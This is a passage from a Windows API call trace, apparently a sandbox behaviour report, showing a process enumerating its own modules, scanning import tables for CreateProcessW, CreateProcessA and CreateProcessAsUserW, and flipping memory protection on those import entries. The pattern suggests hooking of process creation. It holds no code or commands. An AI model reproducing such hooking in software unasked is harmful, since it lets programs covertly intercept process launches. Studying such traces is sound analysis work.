hHeap=0x2350000) returned 1 [0081.865] VirtualProtect (in: lpAddress=0x75292e00, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd60 | out: lpflOldProtect=0x37fd60*=0x20) returned 1 [0081.865] VirtualProtect (in: lpAddress=0x75292e00, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd60 | out: lpflOldProtect=0x37fd60*=0x40) returned 1 [0081.865] VirtualProtect (in: lpAddress=0x75234c58, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd2c | out: lpflOldProtect=0x37fd2c*=0x40) returned 1 [0081.866] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcf8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcf8, ReturnLength=0x0) returned 0x0 [0081.866] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x1000) returned 0x274d658 [0081.866] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x77310000 [0081.867] GetProcAddress (hModule=0x77310000, lpProcName="EnumProcessModules") returned 0x77311408 [0081.867] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x274d658, cb=0x1000, lpcbNeeded=0x37fd8c | out: lphModule=0x274d658, lpcbNeeded=0x37fd8c) returned 1 [0081.867] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0xd60000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0xd60000, AllocationBase=0xd60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.868] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.868] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e660 [0081.868] lstrcmpiA (lpString1="TraceEvent", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0081.868] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessW") returned 1 [0081.868] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="HeapSetInformation", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="SetErrorMode", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="IsWow64Process", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="LoadLibraryA", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="CreateProcessW") returned 1 [0081.869] lstrcmpiA (lpString1="GetFileTime", lpString2="CreateProcessW") returned 1 [0081.870] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessW") returned 1 [0081.870] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessW") returned 1 [0081.870] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessW") returned 1 [0081.870] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0081.870] VirtualProtect (in: lpAddress=0xd6107c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0081.870] VirtualProtect (in: lpAddress=0xd6107c, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0081.870] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e6b0 [0081.870] lstrcmpiA (lpString1="TraceEvent", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0081.870] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="HeapSetInformation", lpString2="CreateProcessA") returned 1 [0081.870] lstrcmpiA (lpString1="SetErrorMode", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="IsWow64Process", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="LoadLibraryA", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetFileTime", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="SetDllDirectoryW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0081.871] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="SearchPathW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetSystemDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0081.871] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="FindResourceExW", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="ReleaseMutex", lpString2="CreateProcessA") returned 1 [0081.871] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="GetStartupInfoW", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="InterlockedCompareExchange", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="InterlockedExchange", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="VerifyVersionInfoW", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="VerSetConditionMask", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="CharNextW", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="SendMessageTimeoutW", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="IsWindowVisible", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="IsWindowEnabled", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="AllowSetForegroundWindow", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="GetWindowThreadProcessId", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="FindWindowExW", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="MessageBoxW", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="LoadStringW", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="??2@YAPAXI@Z", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="_onexit", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="_lock", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="__dllonexit", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="_unlock", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="_controlfp", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="?terminate@@YAXXZ", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="memcpy", lpString2="CreateProcessA") returned 1 [0081.872] lstrcmpiA (lpString1="??3@YAXPAX@Z", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="bsearch", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="_vsnwprintf", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="__set_app_type", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="__p__fmode", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="__p__commode", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="__setusermatherr", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="_amsg_exit", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="_initterm", lpString2="CreateProcessA") returned -1 [0081.872] lstrcmpiA (lpString1="_wcmdln", lpString2="CreateProcessA") returned -1 [0081.873] lstrcmpiA (lpString1="exit", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="_XcptFilter", lpString2="CreateProcessA") returned -1 [0081.873] lstrcmpiA (lpString1="_exit", lpString2="CreateProcessA") returned -1 [0081.873] lstrcmpiA (lpString1="_cexit", lpString2="CreateProcessA") returned -1 [0081.873] lstrcmpiA (lpString1="__wgetmainargs", lpString2="CreateProcessA") returned -1 [0081.873] lstrcmpiA (lpString1="wcsncmp", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="iswspace", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="memset", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="_wcsnicmp", lpString2="CreateProcessA") returned -1 [0081.873] lstrcmpiA (lpString1="_wcsicmp", lpString2="CreateProcessA") returned -1 [0081.873] lstrcmpiA (lpString1="RtlUnwind", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="PathCombineW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="UrlCanonicalizeW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="PathIsURLW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="SHGetValueW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="SHSetValueW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="SHRegGetValueW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="PathRemoveFileSpecW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="PathAppendW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="PathQuoteSpacesW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="UrlCreateFromPathW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="UrlApplySchemeW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="SHEnumValueW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="StrStrW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="PathFindFileNameW", lpString2="CreateProcessA") returned 1 [0081.873] lstrcmpiA (lpString1="CommandLineToArgvW", lpString2="CreateProcessA") returned -1 [0081.873] lstrcmpiA (lpString1="CoInitialize", lpString2="CreateProcessA") returned -1 [0081.873] lstrcmpiA (lpString1="CoUninitialize", lpString2="CreateProcessA") returned -1 [0081.873] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274e6b0 | out: hHeap=0x2350000) returned 1 [0081.873] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e6b0 [0081.873] lstrcmpiA (lpString1="TraceEvent", lpString2="CreateProcessAsUserW") returned 1 [0081.873] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CreateProcessAsUserW") returned 1 [0081.873] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CreateProcessAsUserW") returned 1 [0081.873] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CreateProcessAsUserW") returned 1 [0081.873] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CreateProcessAsUserW") returned 1 [0081.873] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CreateProcessAsUserW") returned 1 [0081.873] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessAsUserW") returned 1 [0081.873] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessAsUserW") returned 1 [0081.873] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessAsUserW") returned 1 [0081.873] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessAsUserW") returned -1 [0081.873] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="HeapSetInformation", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="SetErrorMode", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="IsWow64Process", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="LoadLibraryA", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetFileTime", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="SetDllDirectoryW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessAsUserW") returned -1 [0081.874] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="SearchPathW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetSystemDefaultUILanguage", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessAsUserW") returned -1 [0081.874] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessAsUserW") returned 1 [0081.874] lstrcmpiA (lpString1="FindResourceExW", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="ReleaseMutex", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="GetStartupInfoW", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="InterlockedCompareExchange", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="InterlockedExchange", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="VerifyVersionInfoW", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="VerSetConditionMask", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="CharNextW", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="SendMessageTimeoutW", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="IsWindowVisible", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="IsWindowEnabled", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="AllowSetForegroundWindow", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="GetWindowThreadProcessId", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="FindWindowExW", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="MessageBoxW", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="LoadStringW", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="??2@YAPAXI@Z", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="_onexit", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="_lock", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="__dllonexit", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="_unlock", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="_controlfp", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="?terminate@@YAXXZ", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="memcpy", lpString2="CreateProcessAsUserW") returned 1 [0081.875] lstrcmpiA (lpString1="??3@YAXPAX@Z", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="bsearch", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="_vsnwprintf", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="__set_app_type", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="__p__fmode", lpString2="CreateProcessAsUserW") returned -1 [0081.875] lstrcmpiA (lpString1="__p__commode", lpString2="CreateProcessAsUserW") returned -1 [0081.876] lstrcmpiA (lpString1="__setusermatherr", lpString2="CreateProcessAsUserW") returned -1 [0081.876] lstrcmpiA (lpString1="_amsg_exit", lpString2="CreateProcessAsUserW") returned -1 [0081.876] lstrcmpiA (lpString1="_initterm", lpString2="CreateProcessAsUserW") returned -1 [0081.876] lstrcmpiA (lpString1="_wcmdln", lpString2="CreateProcessAsUserW") returned -1 [0081.876] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77340000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x77340000, AllocationBase=0x77340000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.876] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.876] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x769e0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x769e0000, AllocationBase=0x769e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.876] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.876] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75450000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x75450000, AllocationBase=0x75450000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.876] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.876] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x764e0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x764e0000, AllocationBase=0x764e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.876] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.876] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e6b0 [0081.876] VirtualProtect (in: lpAddress=0x764e1238, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0081.896] VirtualProtect (in: lpAddress=0x764e1238, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0081.896] RtlAllocateHeap 